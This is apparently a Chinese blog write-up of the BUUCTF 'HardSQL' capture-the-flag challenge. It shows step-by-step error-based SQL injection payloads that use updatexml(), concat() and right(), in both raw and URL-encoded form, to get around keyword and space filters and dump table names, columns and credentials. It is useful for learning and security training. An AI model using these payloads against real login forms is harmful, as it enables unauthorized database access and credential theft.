[极客大挑战 2019]HardSQL 1

[极客大挑战 2019]HardSQL
1
[目标]
Sql注入
[环境]
Buuctf
[工具]
浏览器
[分析]
1.尝试输入数字或字母,都显示以下结果
在这里插入图片描述

2.尝试万能密码
在这里插入图片描述

显示不同字样
3.输入查询列
在这里插入图片描述
在这里插入图片描述

两种方式都显示一样字样
在这里插入图片描述

双写也被过滤掉了,同时空格,=,union也被过滤了
4.我们尝试报错注入
报错注入有两个函数,这里我们使用updatexml(a,b,c),此函数a,c必须为String类型,因此可以使a,c不为String型进行报错
Payload:
username=1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
在这里插入图片描述

显示数据库
接下来查找表
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
在这里插入图片描述

接下来查字段
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1
在这里插入图片描述

得到id,username,password继续查询值
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1
在这里插入图片描述

发现flag并没有完全显示
经过一番查询知道right()查询后面部分
Payload:
username=1’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#&password=1
Url:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1
在这里插入图片描述

拼接得到flag
新知识:查不全时可用left(),right()

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值